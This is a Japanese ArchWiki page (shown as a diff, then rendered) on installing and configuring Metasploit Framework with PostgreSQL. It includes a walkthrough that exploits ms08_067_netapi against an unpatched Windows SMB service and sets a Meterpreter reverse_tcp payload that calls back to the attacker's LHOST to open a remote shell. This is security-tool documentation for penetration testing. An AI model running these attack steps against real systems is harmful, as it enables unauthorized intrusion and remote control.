「Metasploit Framework」の版間の差分

提供: ArchWiki
ナビゲーションに移動 検索に移動
(en:Metasploit Frameworkへの転送ページ)
 
(同期)
 
(2人の利用者による、間の5版が非表示)
1行目: 1行目:
  +
[[Category:ネットワーク]]
#redirect[[en:Metasploit Framework]]
 
  +
[[Category:セキュリティ]]
  +
[[en:Metasploit Framework]]
  +
[[ru:Metasploit Framework]]
  +
[http://www.offensive-security.com/metasploit-unleashed/Introduction 公式サイト] より:
  +
:''今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。''
  +
  +
現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。
  +
  +
== インストール ==
  +
  +
{{Pkg|metasploit}} パッケージを[[インストール]]してください。任意で以下の RVM の設定手順に従ってください。ruby は依存パッケージとしてインストールされます。
  +
  +
最新の開発版を使いたいときは、{{AUR|metasploit-git}} をインストールしてください。
  +
  +
=== Armitage ===
  +
  +
[http://www.fastandeasyhacking.com/ Armitage] は [[Java]] で書かれた metasploit の GUI フロントエンドです。{{AUR|armitage}} パッケージでインストールできます。
  +
  +
Armitage を実行する場合、[[#データベースの設定]]が必須になります。また、必ず {{ic|~/.msf4/database.yml}} ファイルを使う必要があります。
  +
  +
{{ic|database.yml}} のファイルのサンプルは Armitage のパッケージに {{ic|/usr/share/metasploit/database.yml.sample}} として含まれています。
  +
  +
=== RVM ===
  +
  +
Msfconsole は [[Ruby]] を必要とし、エラーなく動かすために多少の [[Ruby#RubyGems]] が必要になります。
  +
  +
[[RVM#RVM のインストール]] と [[RVM#RVM を使う]] の記事に従って Ruby バージョン 2.3.3 をインストールしてデフォルトで使用するように設定してください。
  +
  +
設定が完了したら、新しく作成した RVM 環境を読み込みます:
  +
  +
$ source ~/.rvm/scripts/rvm
  +
  +
そして [[Ruby#Bundler]] を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:
  +
  +
$ gem install bundler
  +
$ bundle install
  +
  +
{{Note|Ruby 2.3.1 よりも古いバージョンを使っていると {{ic|metasploit-concern}} gem のインストールに失敗します。}}
  +
  +
== データベースの設定 ==
  +
  +
{{Note|以下、{{ic|msfconsole}} から実行するコマンドには全て {{ic|msf >}} を前に付けます。}}
  +
  +
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の ''Postgresql'' データベースサーバーをセットアップする方法を説明します。
  +
  +
{{Note|[[#Armitage]] フロントエンドを使用する場合、データベースの設定は必須です。}}
  +
  +
[[PostgreSQL]] の記事に従って {{ic|msf}} という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では {{ic|msf}} ということにします。
  +
  +
{{ic|msfconsole}} を起動して以下を入力:
  +
  +
msf > db_connect ''user''@msf
  +
  +
''user'' はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。
  +
  +
データベースキャッシュを再生成:
  +
  +
msf > db_rebuild_cache
  +
  +
Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。
  +
  +
{{Tip|初めてキャッシュを再生成するときは数分間はかかります。{{ic|top}} や {{Pkg|htop}} を実行することでキャッシュ生成の進捗を監視できます。生成中、Ruby/Postgres/Metasploit プロセスは CPU 時間を 50% まで占有します。}}
  +
  +
現在 Metasploit では {{ic|msfconsole}} を起動するたびに {{ic|db_connect}} コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: {{ic|~/.bashrc}}) に以下のエイリアスを追加してください:
  +
  +
alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""
  +
  +
{{ic|quiet}} オプションは[[#起動時の ASCII バナーを無効化|起動時の ASCII バナーを無効化]]して、{{ic|-x}} コマンドは起動後すぐに指定されたコマンドを実行します。
  +
  +
{{ic|.msf4}} ディレクトリに {{ic|database.yml}} ファイルを作成する方法もあります。例:
  +
  +
{{hc|~/.msf4/database.yml|
  +
production:
  +
adapter: postgresql
  +
database: msf
  +
username: ${USER}
  +
password: ${PASS}
  +
host: localhost
  +
port: 5432
  +
pool: 5
  +
timeout: 5
  +
}}
  +
  +
{{Note|データベースキャッシュを作成する必要があるのは一度だけです。その後は起動時に、{{ic|msfconsole}} から {{ic|[*] Rebuilding the module cache in the background...}} と表示されますが、実際には変更された部分だけが更新されます。データベースに何の変更も行われなかったときは、1秒もかかりません。}}
  +
  +
{{ic|db_status}} を実行してデータベースの接続が正しく確立していることを確認してください:
  +
  +
{{hc|msf > db_status|
  +
[*] postgresql connected to msf
  +
}}
  +
  +
== 使用方法 ==
  +
  +
Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである {{ic|msfconsole}} を利用する方法を説明します。
  +
  +
起動するには、{{ic|msfconsole}} と入力してください。プロンプトが {{ic|msf >}} に代わり、コマンドの入力を待機していることがわかります。
  +
  +
{{Tip|以下で説明している Metasploit コマンドに加え、標準のシェルコマンドやスクリプトに {{ic|$PATH}} が通ります (エイリアスは除く)。}}
  +
  +
=== モジュールのタイプ ===
  +
  +
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
  +
  +
* {{ic|auxiliary}} - [[Nmap|ポートスキャン]]やバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。
  +
* {{ic|exploit}} - 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。
  +
* {{ic|payload}} - リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。
  +
* {{ic|post}} - exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。
  +
* {{ic|encoder}} - 暗号化を実行するためのプログラム。
  +
* {{ic|nop}} - ''NOP'' ジェネレータ。''NOP'' は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。''NOP'' 命令は実行可能ファイルの空白を埋めるのに有用です。
  +
  +
=== exploit の検索 ===
  +
  +
対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、[[Nmap|ポートスキャン]]を実行します。ポートスキャンの情報を使って、{{ic|search}} コマンドで利用可能な exploit を検索することができます。
  +
  +
例えば、Novell の Linux プラットフォームの exploit を全て検索するには:
  +
  +
msf > search platform:linux type:exploit name:Novell
  +
  +
特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:
  +
  +
{| class="wikitable"
  +
! style=white-space:nowrap | 検索フィールド
  +
! style=white-space:nowrap | 説明
  +
! style=white-space:nowrap | 入力可能な値
  +
! style=white-space:nowrap | DB テーブル & カラム
  +
|-
  +
| {{ic|app}}
  +
| style=white-space:nowrap | Passive (client) あるいは Active (server) な exploit
  +
| {{ic|client}}, {{ic|server}}
  +
| style=white-space:nowrap | {{ic|module_details.stance}}
  +
|-
  +
| {{ic|author}}
  +
| style=white-space:nowrap | モジュールの作者の名前とメールアドレス
  +
| 何でも入力可能
  +
| style=white-space:nowrap | {{ic|module_authors.name}}
  +
|-
  +
| {{ic|type}}
  +
| style=white-space:nowrap | [[#モジュールのタイプ|モジュールのタイプ]]
  +
| {{ic|auxiliary}}, {{ic|exploit}}, {{ic|payload}}, {{ic|post}}, {{ic|encoder}}, {{ic|nop}}
  +
| style=white-space:nowrap | {{ic|module_details.mtype}}
  +
|-
  +
| {{ic|name}}
  +
| style=white-space:nowrap | パス (Name) と短い説明
  +
| 何でも入力可能
  +
| {{ic|module_details.fullname}}, {{ic|module_details.name}}
  +
|-
  +
| {{ic|platform}}
  +
| style=white-space:nowrap | 対象ハードウェアあるいはソフトウェアプラットフォーム
  +
| {{ic|bsdi}}, {{ic|netware}}, {{ic|linux}}, {{ic|hpux}}, {{ic|irix}}, {{ic|osx}}, {{ic|bsd}}, {{ic|platform}}, {{ic|java}}, {{ic|javascript}}, {{ic|unix}}, {{ic|php}}, {{ic|firefox}}, {{ic|nodejs}}, {{ic|ruby}}, {{ic|cisco}}, {{ic|android}}, {{ic|aix}}, {{ic|windows}}, {{ic|python}}, {{ic|solaris}}
  +
| style=white-space:nowrap | {{ic|module_platforms.name}}
  +
|-
  +
| {{ic|bid}}, {{ic|cve}}, {{ic|edb}}, {{ic|osvdb}}, {{ic|ref}}
  +
| [http://www.securityfocus.com/ Bugtraq], [http://www.cvedetails.com/ CVE], [http://www.exploit-db.com/ Exploit-DB], [http://www.osvdb.org/ OSBDB] ID など
  +
| Exploit データベースのエントリ ID あるいは上流のレポート URL の一部
  +
| style=white-space:nowrap | {{ic|module_refs.name}}
  +
|-
  +
| (No field)
  +
| 上記の {{ic|app}} と {{ic|type}} を除く全て
  +
| 何でも入力可能
  +
| 上記の全て
  +
|}
  +
  +
高度な検索方法は [[#データベースから検索]] や [[#データベース検索のサンプル]] を見て下さい。
  +
  +
=== exploit を使う ===
  +
  +
適当な exploit を選択したら、ハッキングの時間です。
  +
  +
まず {{ic|use}} コマンドを使って exploit を選択:
  +
  +
msf > use exploit/windows/smb/ms08_067_netapi
  +
  +
{{Note|{{ic|ms08_067_netapi}} は Windows XP と Windows Server 2003 の SMB サービスに影響を与える最も有名な exploit の一つです。2008年に公開された exploit で、ファイアウォールが無効になっていてパッチが適用されていないシステムなら、かなり確実に exploit することができます。}}
  +
  +
モジュールの情報を表示するには、{{ic|info}} コマンドを使用:
  +
  +
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
  +
  +
何も引数を付けないで {{ic|info}} を実行すると、現在選択されているモジュールの情報が表示されます。
  +
  +
選択した exploit のオプションを確認するには、次を実行:
  +
  +
{{hc|msf exploit(ms08_067_netapi) > show options|
  +
Module options (exploit/windows/smb/ms08_067_netapi):
  +
  +
Name Current Setting Required Description
  +
---- --------------- -------- -----------
  +
RHOST yes The target address
  +
RPORT 445 yes Set the SMB service port
  +
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  +
  +
...
  +
}}
  +
  +
exploit する前に必要なフィールドを全て設定してください。上記の場合、{{ic|RHOST}} 変数を指定する必要があります。変数に値を指定するには {{ic|set}} コマンドを使います:
  +
  +
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
  +
  +
そしてペイロードを選択:
  +
  +
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
  +
  +
{{Note|Meterpreter は Metasploit に組み込まれたコマンドシェルで、攻撃者はこれを使って exploit されたシステムでリモートコマンドを実行することができます。exploit したコンピュータから exploit を仕掛けたコンピュータに接続を確立するときは Reverse TCP が使われます。}}
  +
  +
ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 {{ic|show options}} を実行してください:
  +
  +
{{hc|msf exploit(ms08_067_netapi) > show options|
  +
Module options (exploit/windows/smb/ms08_067_netapi):
  +
  +
Name Current Setting Required Description
  +
---- --------------- -------- -----------
  +
RHOST 192.168.56.102 yes The target address
  +
RPORT 445 yes Set the SMB service port
  +
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  +
  +
  +
Payload options (windows/meterpreter/reverse_tcp):
  +
  +
Name Current Setting Required Description
  +
---- --------------- -------- -----------
  +
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
  +
LHOST yes The listen address
  +
LPORT 4444 yes The listen port
  +
}}
  +
  +
{{ic|LHOST}} 変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:
  +
  +
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
  +
  +
では攻撃を開始してください:
  +
  +
msf exploit(ms08_067_netapi) > exploit
  +
  +
上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。
  +
  +
== ヒントとテクニック ==
  +
  +
=== データベースから検索 ===
  +
  +
Metasploit ではあらゆるものがデータベースに保存されるため、フロントエンドコマンドの {{ic|search}} を使わなくても強力な検索を使うことが簡単にできます。
  +
  +
データベースインターフェイスを起動するには、次を実行:
  +
  +
$ psql msf
  +
  +
モジュールに関する情報は8つのテーブルに保存されています:
  +
  +
{| class="wikitable"
  +
!テーブル名
  +
!中身
  +
|-
  +
|{{ic|module_details}}
  +
|"メイン"のテーブルで、各モジュールの詳細情報が入っています。
  +
|-
  +
|{{ic|module_actions}}
  +
|''auxiliary'' モジュールのアクション名。
  +
|-
  +
|{{ic|module_archs}}
  +
|対象ハードウェアのアーキテクチャやソフトウェアのプラットフォーム
  +
|-
  +
|{{ic|module_authors}}
  +
|モジュールの作者の名前とメールアドレス。
  +
|-
  +
|{{ic|module_mixins}}
  +
|空 (???)
  +
|-
  +
|{{ic|module_platforms}}
  +
|対象オペレーティングシステム。[[#exploit の数によるプラットフォームの人気度]] も参照。
  +
|-
  +
|{{ic|module_refs}}
  +
|様々なオンラインの exploit データベースとレポートのリファレンス。
  +
|-
  +
|{{ic|module_targets}}
  +
|''exploit'' 対象のプログラムの名前とバージョン。
  +
|}
  +
  +
{{Tip|テーブルの情報を詳しく見たい場合は {{ic|\d+ ''table_name''}} を実行してください。例: {{ic|\d+ module_details}}。}}
  +
  +
ほとんどのテーブルには3つカラムがあります: {{ic|id}}, {{ic|detail_id}}, {{ic|name}}。例外的に {{ic|module_details}} テーブルは16のカラムがあります。
  +
  +
{{ic|detail_id}} の値は {{ic|module_details}} テーブルの行数のポインタです。
  +
  +
テーブルの中身を全て表示するには、次を実行:
  +
  +
SELECT * FROM ''table_name'';
  +
  +
マルチ:
  +
  +
* Architecture
  +
* Platform
  +
* Target
  +
  +
モジュールのオプション:
  +
  +
* module type
  +
* stance
  +
* privileged
  +
* path
  +
* name
  +
* refname
  +
* rank
  +
* privileged
  +
* disclosure date
  +
  +
=== データベース検索のサンプル ===
  +
  +
{{ic|module_details}} テーブルには複数のカラムがあり、全ての情報を一度に表示するのは得策ではありません。モジュールの基本的な情報だけを表示するには:
  +
  +
SELECT id, mtype, refname, disclosure_date, rank, stance, name
  +
FROM module_details;
  +
  +
{{ic|module_platforms}} のプラットフォーム情報を含む、利用可能なモジュールの情報を表示:
  +
  +
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
  +
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
  +
  +
Windows プラットフォームの全てのクライアント (aggressive) exploit を表示:
  +
  +
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
  +
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
  +
WHERE module_platforms.name = 'windows'
  +
AND mtype = 'exploit'
  +
AND stance = 'aggressive';
  +
  +
2013年以後に発表された rank >= 500 の Windows プラットフォーム用の exploit を全て表示:
  +
  +
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
  +
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
  +
WHERE module_platforms.name = 'windows'
  +
AND mtype = 'exploit'
  +
AND rank >= 500
  +
AND disclosure_date >= TIMESTAMP '2013-1-1';
  +
  +
rank >= 500 の Windows プラットフォームの aggressive (client) exploit を全て表示、モジュールの対象情報も含む:
  +
  +
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target
  +
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id
  +
WHERE module_platforms.name = 'windows'
  +
AND mtype = 'exploit'
  +
AND stance = 'aggressive'
  +
AND rank >= 500
  +
order by target;
  +
  +
=== exploit の数によるプラットフォームの人気度 ===
  +
  +
利用可能な {{ic|platform}} の値と、利用可能な exploit の数を調べるには、{{ic|psql}} から以下を実行:
  +
  +
SELECT name, count(*)
  +
FROM module_platforms
  +
GROUP BY name
  +
ORDER BY count DESC;
  +
  +
=== 起動時の ASCII バナーを無効化 ===
  +
  +
バナーを無効化するには、{{ic|-q}}/{{ic|--quiet}} 引数を付けて {{ic|msfconsole}} を実行してください:
  +
  +
$ msfconsole --quiet
  +
  +
=== セッションが変わっても変数の値を維持する ===
  +
  +
他のモジュールを選択したときや {{ic|msfconsole}} を再起動したときに変数がリセットされるのが気に食わない場合、{{ic|setg}} で変数をグローバルに設定してください。例:
  +
  +
msf > setg RHOST 192.168.56.102
  +
  +
== トラブルシューティング ==
  +
  +
=== VNC ビューアでクリックできない ===
  +
  +
ペイロードとして VNC ビューアを選択したときに、クリックができない、あるいは何もできない場合、{{ic|ViewOnly}} 変数を {{ic|false}} に設定するのを忘れています。この問題を修正するには、変数を {{ic|false}} に設定してから exploit を再度実行してください:
  +
  +
msf > set ViewOnly false
  +
  +
=== cannot load such file -- robots (LoadError) ===
  +
  +
以下のようなエラーが表示される場合:
  +
  +
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError)
  +
from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>'
  +
from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require'
  +
from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>'
  +
from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require'
  +
from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>'
  +
from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>'
  +
from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get'
  +
from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize'
  +
from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each'
  +
from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize'
  +
from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize'
  +
from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class'
  +
from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options'
  +
from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!'
  +
from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start'
  +
from ./msfconsole:48:in `<main>'
  +
  +
このエラーは {{ic|robots.rb}} ファイルのパーミッションが不適切で root ユーザーからしか読み取れなくなっているのが原因です ([https://github.com/fizx/robots/issues/6 バグレポート] を参照):
  +
  +
{{hc|$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib|
  +
total 4
  +
-rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
  +
}}
  +
  +
エラーを修正するには、誰からでも読み取れるようにパーミッションを変更してください:
  +
  +
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
  +
  +
=== db_connect が何もエラーを表示しないで失敗する ===
  +
  +
{{ic|db_connect}} の実行時に何も出力がされず、遅れて以下のようなメッセージが表示される場合:
  +
  +
[!] Database not connected or cache not built, using slow search
  +
  +
おそらく {{ic|postgresql}} サービスが動いていません。
  +
  +
== 参照 ==
  +
  +
* [https://www.offensive-security.com/metasploit-unleashed/Main_Page Metasploit Unleashed セキュリティトレーニング]
  +
* [https://github.com/rapid7/metasploit-framework/wiki Metasploit wiki on GitHub]
  +
* [https://en.wikibooks.org/wiki/Metasploit The Metasploit Book]

2017年12月6日 (水) 23:48時点における最新版

公式サイト より:

今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。

現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。

インストール

metasploit パッケージをインストールしてください。任意で以下の RVM の設定手順に従ってください。ruby は依存パッケージとしてインストールされます。

最新の開発版を使いたいときは、metasploit-gitAUR をインストールしてください。

Armitage

ArmitageJava で書かれた metasploit の GUI フロントエンドです。armitageAUR パッケージでインストールできます。

Armitage を実行する場合、#データベースの設定が必須になります。また、必ず ~/.msf4/database.yml ファイルを使う必要があります。

database.yml のファイルのサンプルは Armitage のパッケージに /usr/share/metasploit/database.yml.sample として含まれています。

RVM

Msfconsole は Ruby を必要とし、エラーなく動かすために多少の Ruby#RubyGems が必要になります。

RVM#RVM のインストールRVM#RVM を使う の記事に従って Ruby バージョン 2.3.3 をインストールしてデフォルトで使用するように設定してください。

設定が完了したら、新しく作成した RVM 環境を読み込みます:

$ source ~/.rvm/scripts/rvm

そして Ruby#Bundler を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:

$ gem install bundler
$ bundle install
ノート: Ruby 2.3.1 よりも古いバージョンを使っていると metasploit-concern gem のインストールに失敗します。

データベースの設定

ノート: 以下、msfconsole から実行するコマンドには全て msf > を前に付けます。

Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の Postgresql データベースサーバーをセットアップする方法を説明します。

ノート: #Armitage フロントエンドを使用する場合、データベースの設定は必須です。

PostgreSQL の記事に従って msf という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では msf ということにします。

msfconsole を起動して以下を入力:

msf > db_connect user@msf

user はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。

データベースキャッシュを再生成:

msf > db_rebuild_cache

Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。

ヒント: 初めてキャッシュを再生成するときは数分間はかかります。tophtop を実行することでキャッシュ生成の進捗を監視できます。生成中、Ruby/Postgres/Metasploit プロセスは CPU 時間を 50% まで占有します。

現在 Metasploit では msfconsole を起動するたびに db_connect コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: ~/.bashrc) に以下のエイリアスを追加してください:

alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""

quiet オプションは起動時の ASCII バナーを無効化して、-x コマンドは起動後すぐに指定されたコマンドを実行します。

.msf4 ディレクトリに database.yml ファイルを作成する方法もあります。例:

~/.msf4/database.yml
production:
 adapter: postgresql
 database: msf
 username: ${USER}
 password: ${PASS}
 host: localhost
 port: 5432
 pool: 5
 timeout: 5
ノート: データベースキャッシュを作成する必要があるのは一度だけです。その後は起動時に、msfconsole から [*] Rebuilding the module cache in the background... と表示されますが、実際には変更された部分だけが更新されます。データベースに何の変更も行われなかったときは、1秒もかかりません。

db_status を実行してデータベースの接続が正しく確立していることを確認してください:

msf > db_status
[*] postgresql connected to msf

使用方法

Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである msfconsole を利用する方法を説明します。

起動するには、msfconsole と入力してください。プロンプトが msf > に代わり、コマンドの入力を待機していることがわかります。

ヒント: 以下で説明している Metasploit コマンドに加え、標準のシェルコマンドやスクリプトに $PATH が通ります (エイリアスは除く)。

モジュールのタイプ

Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:

  • auxiliary - ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。
  • exploit - 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。
  • payload - リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。
  • post - exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。
  • encoder - 暗号化を実行するためのプログラム。
  • nop - NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です。

exploit の検索

対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search コマンドで利用可能な exploit を検索することができます。

例えば、Novell の Linux プラットフォームの exploit を全て検索するには:

msf > search platform:linux type:exploit name:Novell

特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:

検索フィールド 説明 入力可能な値 DB テーブル & カラム
app Passive (client) あるいは Active (server) な exploit client, server module_details.stance
author モジュールの作者の名前とメールアドレス 何でも入力可能 module_authors.name
type モジュールのタイプ auxiliary, exploit, payload, post, encoder, nop module_details.mtype
name パス (Name) と短い説明 何でも入力可能 module_details.fullname, module_details.name
platform 対象ハードウェアあるいはソフトウェアプラットフォーム bsdi, netware, linux, hpux, irix, osx, bsd, platform, java, javascript, unix, php, firefox, nodejs, ruby, cisco, android, aix, windows, python, solaris module_platforms.name
bid, cve, edb, osvdb, ref Bugtraq, CVE, Exploit-DB, OSBDB ID など Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 module_refs.name
(No field) 上記の apptype を除く全て 何でも入力可能 上記の全て

高度な検索方法は #データベースから検索#データベース検索のサンプル を見て下さい。

exploit を使う

適当な exploit を選択したら、ハッキングの時間です。

まず use コマンドを使って exploit を選択:

msf > use exploit/windows/smb/ms08_067_netapi
ノート: ms08_067_netapi は Windows XP と Windows Server 2003 の SMB サービスに影響を与える最も有名な exploit の一つです。2008年に公開された exploit で、ファイアウォールが無効になっていてパッチが適用されていないシステムなら、かなり確実に exploit することができます。

モジュールの情報を表示するには、info コマンドを使用:

msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi

何も引数を付けないで info を実行すると、現在選択されているモジュールの情報が表示されます。

選択した exploit のオプションを確認するには、次を実行:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

   ...

exploit する前に必要なフィールドを全て設定してください。上記の場合、RHOST 変数を指定する必要があります。変数に値を指定するには set コマンドを使います:

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102

そしてペイロードを選択:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
ノート: Meterpreter は Metasploit に組み込まれたコマンドシェルで、攻撃者はこれを使って exploit されたシステムでリモートコマンドを実行することができます。exploit したコンピュータから exploit を仕掛けたコンピュータに接続を確立するときは Reverse TCP が使われます。

ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 show options を実行してください:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.102   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

LHOST 変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:

msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1

では攻撃を開始してください:

msf exploit(ms08_067_netapi) > exploit

上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。

ヒントとテクニック

データベースから検索

Metasploit ではあらゆるものがデータベースに保存されるため、フロントエンドコマンドの search を使わなくても強力な検索を使うことが簡単にできます。

データベースインターフェイスを起動するには、次を実行:

$ psql msf

モジュールに関する情報は8つのテーブルに保存されています:

テーブル名 中身
module_details "メイン"のテーブルで、各モジュールの詳細情報が入っています。
module_actions auxiliary モジュールのアクション名。
module_archs 対象ハードウェアのアーキテクチャやソフトウェアのプラットフォーム
module_authors モジュールの作者の名前とメールアドレス。
module_mixins 空 (???)
module_platforms 対象オペレーティングシステム。#exploit の数によるプラットフォームの人気度 も参照。
module_refs 様々なオンラインの exploit データベースとレポートのリファレンス。
module_targets exploit 対象のプログラムの名前とバージョン。
ヒント: テーブルの情報を詳しく見たい場合は \d+ table_name を実行してください。例: \d+ module_details

ほとんどのテーブルには3つカラムがあります: id, detail_id, name。例外的に module_details テーブルは16のカラムがあります。

detail_id の値は module_details テーブルの行数のポインタです。

テーブルの中身を全て表示するには、次を実行:

SELECT * FROM table_name;

マルチ:

  • Architecture
  • Platform
  • Target

モジュールのオプション:

  • module type
  • stance
  • privileged
  • path
  • name
  • refname
  • rank
  • privileged
  • disclosure date

データベース検索のサンプル

module_details テーブルには複数のカラムがあり、全ての情報を一度に表示するのは得策ではありません。モジュールの基本的な情報だけを表示するには:

SELECT id, mtype, refname, disclosure_date, rank, stance, name
